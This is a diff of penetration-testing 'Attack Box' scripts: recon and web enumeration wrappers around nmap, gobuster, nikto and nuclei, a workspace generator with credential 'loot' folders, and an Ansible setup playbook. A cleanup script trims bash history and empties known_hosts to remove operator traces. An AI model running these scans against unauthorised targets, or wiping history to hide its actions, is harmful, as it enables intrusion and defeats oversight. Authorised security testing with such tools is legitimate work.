echo -e "${GREEN}[+] Phase 7: Vulnerability Scanning${NC}"
|
||||
log_and_run "Running Nuclei" "nuclei -l live_subdomains.txt -t ~/nuclei-templates/ -o nuclei_results.txt"
|
||||
|
||||
# Summary
|
||||
echo -e "${GREEN}[+] Reconnaissance Complete!${NC}"
|
||||
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
|
||||
echo -e "${BLUE}[*] Total subdomains found: $(wc -l < all_subdomains.txt)${NC}"
|
||||
echo -e "${BLUE}[*] Live subdomains: $(wc -l < live_subdomains.txt)${NC}"
|
||||
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
|
||||
|
||||
# Generate simple HTML report
|
||||
cat > "recon_report.html" << EOF
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Reconnaissance Report - $TARGET</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 40px; }
|
||||
h1 { color: #333; }
|
||||
h2 { color: #666; }
|
||||
.stats { background: #f0f0f0; padding: 10px; margin: 10px 0; }
|
||||
pre { background: #f8f8f8; padding: 10px; overflow-x: auto; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Reconnaissance Report for $TARGET</h1>
|
||||
<div class="stats">
|
||||
<h2>Statistics</h2>
|
||||
<p>Total Subdomains Found: $(wc -l < all_subdomains.txt)</p>
|
||||
<p>Live Subdomains: $(wc -l < live_subdomains.txt)</p>
|
||||
<p>Scan Date: $(date)</p>
|
||||
</div>
|
||||
|
||||
<h2>Live Subdomains</h2>
|
||||
<pre>$(cat live_subdomains.txt)</pre>
|
||||
|
||||
<h2>Port Scan Results</h2>
|
||||
<pre>$(cat nmap_scan.nmap 2>/dev/null || echo "Nmap results not available")</pre>
|
||||
</body>
|
||||
</html>
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] HTML report generated: recon_report.html${NC}"
|
||||
echo "Reconnaissance completed at $(date)" >> "$LOG_FILE"
|
||||
Executable
+93
@@ -0,0 +1,93 @@
|
||||
#!/bin/bash
|
||||
# Trash Cleanup Script
|
||||
# Safely removes operational artifacts and cleans system
|
||||
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m'
|
||||
|
||||
echo -e "${BLUE}=== OPERATIONAL CLEANUP ===${NC}"
|
||||
echo ""
|
||||
|
||||
# Get working directory
|
||||
if [ -n "$1" ]; then
|
||||
WORK_DIR="$1"
|
||||
else
|
||||
# Auto-detect working directory
|
||||
if [ -d "/root/operator" ]; then
|
||||
WORK_DIR="/root/operator"
|
||||
else
|
||||
# Find deployment-named directory
|
||||
WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1)
|
||||
if [ -z "$WORK_DIR" ]; then
|
||||
WORK_DIR="/root"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
echo -e "${BLUE}[*] Working directory: $WORK_DIR${NC}"
|
||||
|
||||
# Clean scan results older than 7 days
|
||||
if [ -d "$WORK_DIR/scans" ]; then
|
||||
echo -e "${YELLOW}[*] Cleaning old scan results (>7 days)${NC}"
|
||||
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.xml" -delete 2>/dev/null
|
||||
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.txt" -delete 2>/dev/null
|
||||
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.log" -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# Clean temporary loot
|
||||
if [ -d "$WORK_DIR/loot" ]; then
|
||||
echo -e "${YELLOW}[*] Cleaning temporary loot files${NC}"
|
||||
find "$WORK_DIR/loot" -name "*.tmp" -delete 2>/dev/null
|
||||
find "$WORK_DIR/loot" -name "temp_*" -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# Clean logs older than 30 days
|
||||
if [ -d "$WORK_DIR/logs" ]; then
|
||||
echo -e "${YELLOW}[*] Cleaning old logs (>30 days)${NC}"
|
||||
find "$WORK_DIR/logs" -type f -mtime +30 -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# Clean empty directories
|
||||
echo -e "${YELLOW}[*] Removing empty directories${NC}"
|
||||
find "$WORK_DIR" -type d -empty -delete 2>/dev/null
|
||||
|
||||
# Clean system temp files
|
||||
echo -e "${YELLOW}[*] Cleaning system temporary files${NC}"
|
||||
rm -f /tmp/nmap_* 2>/dev/null
|
||||
rm -f /tmp/scan_* 2>/dev/null
|
||||
rm -f /tmp/exploit_* 2>/dev/null
|
||||
rm -f /tmp/*.tmp 2>/dev/null
|
||||
|
||||
# Rotate command history
|
||||
echo -e "${YELLOW}[*] Rotating command history${NC}"
|
||||
if [ -f ~/.bash_history ]; then
|
||||
tail -n 100 ~/.bash_history > /tmp/hist_tmp && mv /tmp/hist_tmp ~/.bash_history
|
||||
fi
|
||||
|
||||
# Clean network artifacts
|
||||
echo -e "${YELLOW}[*] Clearing network artifacts${NC}"
|
||||
> ~/.ssh/known_hosts
|
||||
|
||||
# Update file permissions
|
||||
echo -e "${YELLOW}[*] Updating file permissions${NC}"
|
||||
if [ -d "$WORK_DIR" ]; then
|
||||
chmod -R 750 "$WORK_DIR" 2>/dev/null
|
||||
find "$WORK_DIR" -name "*.sh" -exec chmod +x {} \; 2>/dev/null
|
||||
fi
|
||||
|
||||
# Compress old files
|
||||
echo -e "${YELLOW}[*] Compressing old files${NC}"
|
||||
if [ -d "$WORK_DIR/reports" ]; then
|
||||
find "$WORK_DIR/reports" -name "*.txt" -mtime +7 -exec gzip {} \; 2>/dev/null
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo -e "${GREEN}=== CLEANUP COMPLETE ===${NC}"
|
||||
echo -e "${BLUE}Summary:${NC}"
|
||||
echo -e "${GREEN} ✓ Old scan results cleaned${NC}"
|
||||
echo -e "${GREEN} ✓ Temporary files removed${NC}"
|
||||
echo -e "${GREEN} ✓ Logs rotated${NC}"
|
||||
echo -e "${GREEN} ✓ Permissions updated${NC}"
|
||||
echo -e "${GREEN} ✓ Network artifacts cleared${NC}"
|
||||
File diff suppressed because it is too large
Load Diff
+230
@@ -0,0 +1,230 @@
|
||||
#!/bin/bash
|
||||
# Web Application Enumeration Script for Attack Box
|
||||
# Usage: ./web_enum_automation.sh <target_url>
|
||||
|
||||
set -e
|
||||
|
||||
if [ $# -eq 0 ]; then
|
||||
echo "Usage: $0 <target_url>"
|
||||
echo "Example: $0 https://example.com"
|
||||
echo " $0 http://192.168.1.100:8080"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TARGET_URL="$1"
|
||||
# Extract domain/IP for workspace naming
|
||||
TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_')
|
||||
WORKSPACE="/root/operator/scans/web/$TARGET_CLEAN"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${GREEN}[+] Starting web enumeration for: $TARGET_URL${NC}"
|
||||
|
||||
# Create workspace
|
||||
mkdir -p "$WORKSPACE"
|
||||
cd "$WORKSPACE"
|
||||
|
||||
# Create log file
|
||||
LOG_FILE="web_enum_$DATE.log"
|
||||
echo "Web enumeration started at $(date)" > "$LOG_FILE"
|
||||
|
||||
# Function to log and execute
|
||||
log_and_run() {
|
||||
echo -e "${YELLOW}[*] $1${NC}"
|
||||
echo "[$(date)] $1" >> "$LOG_FILE"
|
||||
eval "$2" 2>&1 | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
# Basic web info gathering
|
||||
echo -e "${GREEN}[+] Phase 1: Basic Information Gathering${NC}"
|
||||
log_and_run "Getting HTTP headers" "curl -I $TARGET_URL"
|
||||
log_and_run "Checking robots.txt" "curl -s $TARGET_URL/robots.txt"
|
||||
log_and_run "Checking sitemap.xml" "curl -s $TARGET_URL/sitemap.xml"
|
||||
|
||||
# Technology detection
|
||||
echo -e "${GREEN}[+] Phase 2: Technology Detection${NC}"
|
||||
log_and_run "Running whatweb" "whatweb -a 3 $TARGET_URL"
|
||||
if command -v wappalyzer &> /dev/null; then
|
||||
log_and_run "Running Wappalyzer" "wappalyzer $TARGET_URL"
|
||||
fi
|
||||
|
||||
# Directory and file enumeration
|
||||
echo -e "${GREEN}[+] Phase 3: Directory and File Enumeration${NC}"
|
||||
|
||||
# Gobuster with common wordlist
|
||||
log_and_run "Gobuster directory enumeration (common)" "gobuster dir -u $TARGET_URL -w /usr/share/wordlists/dirb/common.txt -o gobuster_common.txt -q"
|
||||
|
||||
# Gobuster with bigger wordlist
|
||||
if [ -f "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" ]; then
|
||||
log_and_run "Gobuster directory enumeration (medium)" "gobuster dir -u $TARGET_URL -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -o gobuster_medium.txt -q --timeout 10s"
|
||||
fi
|
||||
|
||||
# File extension enumeration
|
||||
log_and_run "Gobuster file enumeration" "gobuster dir -u $TARGET_URL -w /usr/share/wordlists/dirb/common.txt -x txt,php,html,js,xml,json,bak,old -o gobuster_files.txt -q"
|
||||
|
||||
# Alternative directory tools
|
||||
if command -v dirb &> /dev/null; then
|
||||
log_and_run "Dirb enumeration" "dirb $TARGET_URL -o dirb_results.txt"
|
||||
fi
|
||||
|
||||
if command -v ffuf &> /dev/null; then
|
||||
log_and_run "FFUF enumeration" "ffuf -w /usr/share/wordlists/dirb/common.txt -u $TARGET_URL/FUZZ -o ffuf_results.json -of json -s"
|
||||
fi
|
||||
|
||||
# Subdomain enumeration (if it's a domain)
|
||||
if [[ $TARGET_URL == *"."* ]] && [[ $TARGET_URL != *[0-9]* ]]; then
|
||||
echo -e "${GREEN}[+] Phase 4: Subdomain Enumeration${NC}"
|
||||
DOMAIN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | cut -d':' -f1)
|
||||
log_and_run "Gobuster subdomain enumeration" "gobuster dns -d $DOMAIN -w /usr/share/wordlists/dirb/common.txt -o gobuster_subdomains.txt -q"
|
||||
fi
|
||||
|
||||
# Web vulnerability scanning
|
||||
echo -e "${GREEN}[+] Phase 5: Vulnerability Scanning${NC}"
|
||||
log_and_run "Nikto scan" "nikto -h $TARGET_URL -o nikto_results.txt"
|
||||
|
||||
# Nuclei web templates
|
||||
if command -v nuclei &> /dev/null; then
|
||||
log_and_run "Nuclei web vulnerability scan" "nuclei -u $TARGET_URL -t ~/nuclei-templates/http/ -o nuclei_web_results.txt"
|
||||
fi
|
||||
|
||||
# SSL/TLS testing (for HTTPS)
|
||||
if [[ $TARGET_URL == https* ]]; then
|
||||
echo -e "${GREEN}[+] Phase 6: SSL/TLS Testing${NC}"
|
||||
DOMAIN=$(echo "$TARGET_URL" | sed 's|https://||g' | sed 's|/.*||g')
|
||||
log_and_run "SSL certificate information" "openssl s_client -connect $DOMAIN:443 -servername $DOMAIN < /dev/null 2>/dev/null | openssl x509 -text -noout"
|
||||
|
||||
if command -v sslscan &> /dev/null; then
|
||||
log_and_run "SSLScan" "sslscan $DOMAIN"
|
||||
fi
|
||||
|
||||
if command -v testssl.sh &> /dev/null; then
|
||||
log_and_run "TestSSL" "testssl.sh $TARGET_URL"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Web application firewall detection
|
||||
echo -e "${GREEN}[+] Phase 7: WAF Detection${NC}"
|
||||
if command -v wafw00f &> /dev/null; then
|
||||
log_and_run "WAF detection" "wafw00f $TARGET_URL"
|
||||
fi
|
||||
|
||||
# Content discovery and analysis
|
||||
echo -e "${GREEN}[+] Phase 8: Content Analysis${NC}"
|
||||
|
||||
# Find interesting files and directories
|
||||
echo -e "${BLUE}[*] Analyzing discovered content...${NC}"
|
||||
if [ -f "gobuster_common.txt" ]; then
|
||||
echo "Interesting directories found:" >> content_analysis.txt
|
||||
grep -E "(admin|login|api|config|backup|test|dev)" gobuster_common.txt >> content_analysis.txt 2>/dev/null || echo "No interesting directories found" >> content_analysis.txt
|
||||
fi
|
||||
|
||||
# Parameter discovery
|
||||
if command -v arjun &> /dev/null; then
|
||||
log_and_run "Parameter discovery with Arjun" "arjun -u $TARGET_URL -o arjun_params.txt"
|
||||
fi
|
||||
|
||||
# JavaScript analysis
|
||||
log_and_run "Finding JavaScript files" "curl -s $TARGET_URL | grep -oP '(?<=src=\")[^\"]*\.js(?=\")' | head -10 > js_files.txt"
|
||||
|
||||
# Generate summary report
|
||||
echo -e "${GREEN}[+] Web Enumeration Complete!${NC}"
|
||||
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
|
||||
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
|
||||
|
||||
# Count discovered items
|
||||
DIRS_FOUND=0
|
||||
FILES_FOUND=0
|
||||
if [ -f "gobuster_common.txt" ]; then
|
||||
DIRS_FOUND=$(wc -l < gobuster_common.txt)
|
||||
fi
|
||||
if [ -f "gobuster_files.txt" ]; then
|
||||
FILES_FOUND=$(wc -l < gobuster_files.txt)
|
||||
fi
|
||||
|
||||
echo -e "${BLUE}[*] Directories found: $DIRS_FOUND${NC}"
|
||||
echo -e "${BLUE}[*] Files found: $FILES_FOUND${NC}"
|
||||
|
||||
# Generate HTML report
|
||||
cat > "web_enum_report.html" << EOF
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Web Enumeration Report - $TARGET_URL</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 40px; }
|
||||
h1 { color: #333; }
|
||||
h2 { color: #666; }
|
||||
.stats { background: #f0f0f0; padding: 10px; margin: 10px 0; }
|
||||
pre { background: #f8f8f8; padding: 10px; overflow-x: auto; }
|
||||
.finding { background: #ffffcc; padding: 5px; margin: 5px 0; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Web Enumeration Report</h1>
|
||||
<p><strong>Target:</strong> $TARGET_URL</p>
|
||||
|
||||
<div class="stats">
|
||||
<h2>Statistics</h2>
|
||||
<p>Directories Found: $DIRS_FOUND</p>
|
||||
<p>Files Found: $FILES_FOUND</p>
|
||||
<p>Scan Date: $(date)</p>
|
||||
</div>
|
||||
|
||||
<h2>Discovered Directories</h2>
|
||||
<pre>$(cat gobuster_common.txt 2>/dev/null | head -20 || echo "No directories file found")</pre>
|
||||
|
||||
<h2>Discovered Files</h2>
|
||||
<pre>$(cat gobuster_files.txt 2>/dev/null | head -20 || echo "No files found")</pre>
|
||||
|
||||
<h2>Technology Stack</h2>
|
||||
<pre>$(grep -A 10 "Running whatweb" $LOG_FILE 2>/dev/null | tail -n +2 | head -10 || echo "Technology detection results not available")</pre>
|
||||
|
||||
<h2>Security Findings</h2>
|
||||
<pre>$(cat nikto_results.txt 2>/dev/null | head -20 || echo "Nikto results not available")</pre>
|
||||
</body>
|
||||
</html>
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] HTML report generated: web_enum_report.html${NC}"
|
||||
|
||||
# Next steps suggestions
|
||||
cat > "next_steps.txt" << EOF
|
||||
Next Steps for $TARGET_URL:
|
||||
===========================
|
||||
|
||||
1. Manual Testing:
|
||||
- Browse discovered directories manually
|
||||
- Test for authentication bypasses
|
||||
- Look for file upload functionality
|
||||
- Check for SQL injection points
|
||||
|
||||
2. Focused Scanning:
|
||||
- Run OWASP ZAP or Burp Suite
|
||||
- Test for XSS vulnerabilities
|
||||
- Check for CSRF tokens
|
||||
- Test API endpoints if found
|
||||
|
||||
3. Exploitation:
|
||||
- Research CVEs for identified technologies
|
||||
- Test default credentials
|
||||
- Look for configuration files with sensitive data
|
||||
- Check for local file inclusion vulnerabilities
|
||||
|
||||
4. Further Enumeration:
|
||||
- Use custom wordlists for your target
|
||||
- Check for backup files (.bak, .old, .swp)
|
||||
- Look for version control directories (.git, .svn)
|
||||
- Test for subdomain takeover
|
||||
|
||||
Files to review:
|
||||
$(ls -la *.txt *.html *.json 2>/dev/null || echo "No additional files found")
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] Next steps guide generated: next_steps.txt${NC}"
|
||||
echo "Web enumeration completed at $(date)" >> "$LOG_FILE"
|
||||
+233
@@ -0,0 +1,233 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Workspace Structure Generator for Attack Box
|
||||
Creates trashpanda-style penetration testing directory structure
|
||||
"""
|
||||
|
||||
import os
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
def create_workspace_structure(base_name="/root/operator", operator="operator"):
|
||||
"""Create a comprehensive penetration testing directory structure like trashpanda."""
|
||||
|
||||
# Main engagement directory
|
||||
base_dir = os.path.abspath(base_name)
|
||||
|
||||
# Primary directories (based on trashpanda structure)
|
||||
main_dirs = {
|
||||
"tools": "Downloaded/compiled tools and scripts",
|
||||
"scans": "All scan results organized by type",
|
||||
"logs": "Execution logs and debug output",
|
||||
"loot": "Extracted credentials, hashes, and sensitive data",
|
||||
"payloads": "Custom payloads and exploit code",
|
||||
"targets": "Target lists and reconnaissance data",
|
||||
"screenshots": "Visual evidence and GUI captures",
|
||||
"reports": "Draft reports and documentation",
|
||||
"notes": "Manual notes and observations",
|
||||
"exploits": "Working exploits and proof-of-concepts",
|
||||
"wordlists": "Custom and downloaded wordlists",
|
||||
"pcaps": "Network captures and traffic analysis"
|
||||
}
|
||||
|
||||
# Scan subdirectories (comprehensive enumeration structure)
|
||||
scan_subdirs = {
|
||||
"nmap": "Network discovery and port scanning",
|
||||
"dns": "DNS enumeration and zone transfers",
|
||||
"snmp": "SNMP enumeration and community strings",
|
||||
"smb": "SMB/NetBIOS enumeration and shares",
|
||||
"web": "Web application scanning and enumeration",
|
||||
"ssl": "SSL/TLS certificate and cipher analysis",
|
||||
"vulns": "Vulnerability scanning and NSE scripts",
|
||||
"ldap": "LDAP enumeration and directory services",
|
||||
"ftp": "FTP enumeration and anonymous access",
|
||||
"ssh": "SSH enumeration and key analysis",
|
||||
"databases": "Database enumeration (MySQL, MSSQL, etc)",
|
||||
"custom": "Custom and manual scans",
|
||||
"reachability": "Network reachability test results"
|
||||
}
|
||||
|
||||
# Loot subdirectories (for extracted data)
|
||||
loot_subdirs = {
|
||||
"credentials": "Usernames, passwords, and authentication data",
|
||||
"hashes": "Password hashes and cracking results",
|
||||
"keys": "SSH keys, certificates, and crypto material",
|
||||
"configs": "Configuration files and sensitive data",
|
||||
"databases": "Extracted database contents",
|
||||
"files": "Interesting files and documents"
|
||||
}
|
||||
|
||||
print(f"[+] Creating penetration testing structure: {base_dir}")
|
||||
|
||||
# Create main directories
|
||||
for dir_name, description in main_dirs.items():
|
||||
dir_path = os.path.join(base_dir, dir_name)
|
||||
Path(dir_path).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# Create README files for documentation
|
||||
readme_path = os.path.join(dir_path, "README.md")
|
||||
if not os.path.exists(readme_path):
|
||||
with open(readme_path, 'w') as f:
|
||||
f.write(f"# {dir_name.upper()}\n\n")
|
||||
f.write(f"{description}\n\n")
|
||||
f.write(f"Created by Attack Box on {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
|
||||
|
||||
# Create scan subdirectories
|
||||
scans_dir = os.path.join(base_dir, "scans")
|
||||
for subdir, description in scan_subdirs.items():
|
||||
subdir_path = os.path.join(scans_dir, subdir)
|
||||
Path(subdir_path).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
readme_path = os.path.join(subdir_path, "README.md")
|
||||
if not os.path.exists(readme_path):
|
||||
with open(readme_path, 'w') as f:
|
||||
f.write(f"# {subdir.upper()} SCANS\n\n")
|
||||
f.write(f"{description}\n\n")
|
||||
|
||||
# Create loot subdirectories
|
||||
loot_dir = os.path.join(base_dir, "loot")
|
||||
for subdir, description in loot_subdirs.items():
|
||||
subdir_path = os.path.join(loot_dir, subdir)
|
||||
Path(subdir_path).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
readme_path = os.path.join(subdir_path, "README.md")
|
||||
if not os.path.exists(readme_path):
|
||||
with open(readme_path, 'w') as f:
|
||||
f.write(f"# {subdir.upper()}\n\n")
|
||||
f.write(f"{description}\n\n")
|
||||
|
||||
# Create engagement log
|
||||
engagement_log = os.path.join(base_dir, "logs", "engagement.log")
|
||||
with open(engagement_log, 'w') as f:
|
||||
f.write(f"Attack Box Engagement Log\n")
|
||||
f.write(f"=========================\n")
|
||||
f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
|
||||
f.write(f"Operator: {operator}\n")
|
||||
f.write(f"Tool: Attack Box Manual Testing Interface\n\n")
|
||||
|
||||
# Create initial target file
|
||||
target_template = os.path.join(base_dir, "targets", "targets.txt")
|
||||
if not os.path.exists(target_template):
|
||||
with open(target_template, 'w') as f:
|
||||
f.write("# Target List\n")
|
||||
f.write("# Add IPs, ranges, or hostnames (one per line)\n")
|
||||
f.write("# Examples:\n")
|
||||
f.write("# 192.168.1.1\n")
|
||||
f.write("# 192.168.1.0/24\n")
|
||||
f.write("# 192.168.1.1-50\n")
|
||||
f.write("# target.domain.com\n\n")
|
||||
|
||||
# Create manual commands file
|
||||
manual_commands = os.path.join(base_dir, "scans", "_manual_commands.txt")
|
||||
with open(manual_commands, 'w') as f:
|
||||
f.write("# Manual Commands for Further Enumeration\n")
|
||||
f.write("# ======================================\n")
|
||||
f.write(f"# Generated by Attack Box on {time.strftime('%Y-%m-%d %H:%M:%S')}\n\n")
|
||||
f.write("# Example commands:\n")
|
||||
f.write("# nmap -sS -T4 --top-ports 1000 <target>\n")
|
||||
f.write("# gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt\n")
|
||||
f.write("# nikto -h http://<target>\n")
|
||||
f.write("# sqlmap -u http://<target>?id=1 --dbs\n\n")
|
||||
|
||||
# Create notes template
|
||||
notes_template = os.path.join(base_dir, "notes", "engagement_notes.md")
|
||||
with open(notes_template, 'w') as f:
|
||||
f.write(f"# Engagement Notes\n\n")
|
||||
f.write(f"**Date:** {time.strftime('%Y-%m-%d')}\n")
|
||||
f.write(f"**Operator:** {operator}\n")
|
||||
f.write(f"**Engagement:** TBD\n\n")
|
||||
f.write(f"## Scope\n")
|
||||
f.write(f"- [ ] Define target scope\n")
|
||||
f.write(f"- [ ] Identify key assets\n")
|
||||
f.write(f"- [ ] Document rules of engagement\n\n")
|
||||
f.write(f"## Methodology\n")
|
||||
f.write(f"1. **Reconnaissance**\n")
|
||||
f.write(f" - Passive information gathering\n")
|
||||
f.write(f" - DNS enumeration\n")
|
||||
f.write(f" - OSINT collection\n\n")
|
||||
f.write(f"2. **Scanning & Enumeration**\n")
|
||||
f.write(f" - Network discovery\n")
|
||||
f.write(f" - Port scanning\n")
|
||||
f.write(f" - Service enumeration\n\n")
|
||||
f.write(f"3. **Vulnerability Assessment**\n")
|
||||
f.write(f" - Automated scanning\n")
|
||||
f.write(f" - Manual testing\n")
|
||||
f.write(f" - Vulnerability validation\n\n")
|
||||
f.write(f"4. **Exploitation**\n")
|
||||
f.write(f" - Proof of concept development\n")
|
||||
f.write(f" - Privilege escalation\n")
|
||||
f.write(f" - Lateral movement\n\n")
|
||||
f.write(f"## Key Findings\n")
|
||||
f.write(f"*Document critical findings here*\n\n")
|
||||
f.write(f"## Timeline\n")
|
||||
f.write(f"- **{time.strftime('%Y-%m-%d %H:%M')}:** Engagement started\n\n")
|
||||
|
||||
# Create wordlist directory with common lists
|
||||
wordlist_dir = os.path.join(base_dir, "wordlists")
|
||||
common_wordlists = os.path.join(wordlist_dir, "common_lists.txt")
|
||||
with open(common_wordlists, 'w') as f:
|
||||
f.write("# Common Wordlist Locations\n")
|
||||
f.write("# =========================\n")
|
||||
f.write("# Directory enumeration:\n")
|
||||
f.write("/usr/share/wordlists/dirb/common.txt\n")
|
||||
f.write("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt\n")
|
||||
f.write("/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt\n\n")
|
||||
f.write("# File enumeration:\n")
|
||||
f.write("/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt\n")
|
||||
f.write("/usr/share/seclists/Discovery/Web-Content/common.txt\n\n")
|
||||
f.write("# Subdomain enumeration:\n")
|
||||
f.write("/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt\n")
|
||||
f.write("/usr/share/seclists/Discovery/DNS/fierce-hostlist.txt\n\n")
|
||||
f.write("# Password attacks:\n")
|
||||
f.write("/usr/share/wordlists/rockyou.txt\n")
|
||||
f.write("/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt\n")
|
||||
|
||||
# Create scripts directory with useful scripts
|
||||
scripts_dir = os.path.join(base_dir, "tools", "scripts")
|
||||
Path(scripts_dir).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
quick_enum_script = os.path.join(scripts_dir, "quick_enum.sh")
|
||||
with open(quick_enum_script, 'w') as f:
|
||||
f.write("#!/bin/bash\n")
|
||||
f.write("# Quick enumeration script\n")
|
||||
f.write("# Usage: ./quick_enum.sh <target_ip>\n\n")
|
||||
f.write("if [ $# -eq 0 ]; then\n")
|
||||
f.write(' echo "Usage: $0 <target_ip>"\n')
|
||||
f.write(" exit 1\n")
|
||||
f.write("fi\n\n")
|
||||
f.write("TARGET=$1\n")
|
||||
f.write("DATE=$(date +%Y%m%d_%H%M%S)\n")
|
||||
f.write("SCAN_DIR=\"../../scans\"\n\n")
|
||||
f.write("echo \"[+] Quick enumeration of $TARGET\"\n")
|
||||
f.write("echo \"[+] Results will be saved to $SCAN_DIR\"\n\n")
|
||||
f.write("# Quick nmap scan\n")
|
||||
f.write("echo \"[+] Running quick nmap scan...\"\n")
|
||||
f.write("nmap -sS -T4 --top-ports 1000 -oN \"$SCAN_DIR/nmap/quick_scan_${TARGET}_${DATE}.txt\" $TARGET\n\n")
|
||||
f.write("# Check for web services\n")
|
||||
f.write("echo \"[+] Checking for web services...\"\n")
|
||||
f.write("if nmap -p 80,443,8080,8443 --open $TARGET | grep -q open; then\n")
|
||||
f.write(" echo \"[+] Web services found, running quick web enum...\"\n")
|
||||
f.write(" gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -o \"$SCAN_DIR/web/gobuster_${TARGET}_${DATE}.txt\" -q\n")
|
||||
f.write("fi\n\n")
|
||||
f.write("echo \"[+] Quick enumeration complete\"\n")
|
||||
|
||||
os.chmod(quick_enum_script, 0o755)
|
||||
|
||||
print(f"[+] Penetration testing structure created successfully")
|
||||
print(f"[*] Add targets to: {target_template}")
|
||||
print(f"[*] Engagement log: {engagement_log}")
|
||||
print(f"[*] Quick enum script: {quick_enum_script}")
|
||||
|
||||
return base_dir
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
import getpass
|
||||
|
||||
if len(sys.argv) > 1:
|
||||
workspace_name = sys.argv[1]
|
||||
else:
|
||||
workspace_name = f"/root/operator"
|
||||
|
||||
operator = getpass.getuser()
|
||||
create_workspace_structure(workspace_name, operator)
|
||||
@@ -0,0 +1,752 @@
|
||||
---
|
||||
# Attack Box Configuration Tasks
|
||||
# Creates /root/<deployment_id> workspace structure
|
||||
|
||||
- name: Set user variables for headless deployment
|
||||
ansible.builtin.set_fact:
|
||||
target_user: "root"
|
||||
user_home: "/root"
|
||||
# Always use deployment_id for directory name (no hardcoded operator aliases)
|
||||
work_dir: "{{ work_dir | default('/root/' + deployment_id) }}"
|
||||
tool_name: "{{ tool_name | default('toolkit' if enhanced_opsec | default(false) else 'trashpanda') }}"
|
||||
project_name: "{{ project_name | default(deployment_id) }}"
|
||||
|
||||
- name: Display attack box configuration start
|
||||
debug:
|
||||
msg: |
|
||||
================================================================
|
||||
ATTACK BOX CONFIGURATION STARTED
|
||||
================================================================
|
||||
Deployment ID: {{ deployment_id }}
|
||||
Target: {{ ansible_host }}
|
||||
OPSEC Mode: {{ 'Enhanced' if enhanced_opsec | default(false) else 'Standard' }}
|
||||
Working Directory: {{ work_dir }}
|
||||
Configuration Steps:
|
||||
1. Create {{ 'secure' if enhanced_opsec | default(false) else 'TrashPanda' }} directory structure
|
||||
2. Install base packages (~100 packages)
|
||||
3. Install pipx and Python tools (~30 tools)
|
||||
4. Install Go tools (~12 tools)
|
||||
5. Clone Git repositories (~20 repositories)
|
||||
6. Configure scripts and automation
|
||||
7. Set up PATH and environment
|
||||
|
||||
This process may take 30-60 minutes depending on network speed.
|
||||
Progress will be displayed for each step.
|
||||
================================================================
|
||||
|
||||
- name: Record configuration start time
|
||||
set_fact:
|
||||
config_start_time: "{{ ansible_date_time.epoch }}"
|
||||
|
||||
- name: Create TrashPanda directory structure
|
||||
ansible.builtin.file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
mode: '0755'
|
||||
loop:
|
||||
# Main TrashPanda directories (exactly like trashpanda.py)
|
||||
- "{{ work_dir }}"
|
||||
- "{{ work_dir }}/tools"
|
||||
- "{{ work_dir }}/scans"
|
||||
- "{{ work_dir }}/logs"
|
||||
- "{{ work_dir }}/loot"
|
||||
- "{{ work_dir }}/payloads"
|
||||
- "{{ work_dir }}/targets"
|
||||
- "{{ work_dir }}/screenshots"
|
||||
- "{{ work_dir }}/reports"
|
||||
- "{{ work_dir }}/notes"
|
||||
- "{{ work_dir }}/exploits"
|
||||
- "{{ work_dir }}/wordlists"
|
||||
- "{{ work_dir }}/pcaps"
|
||||
# Scan subdirectories (exactly like trashpanda.py)
|
||||
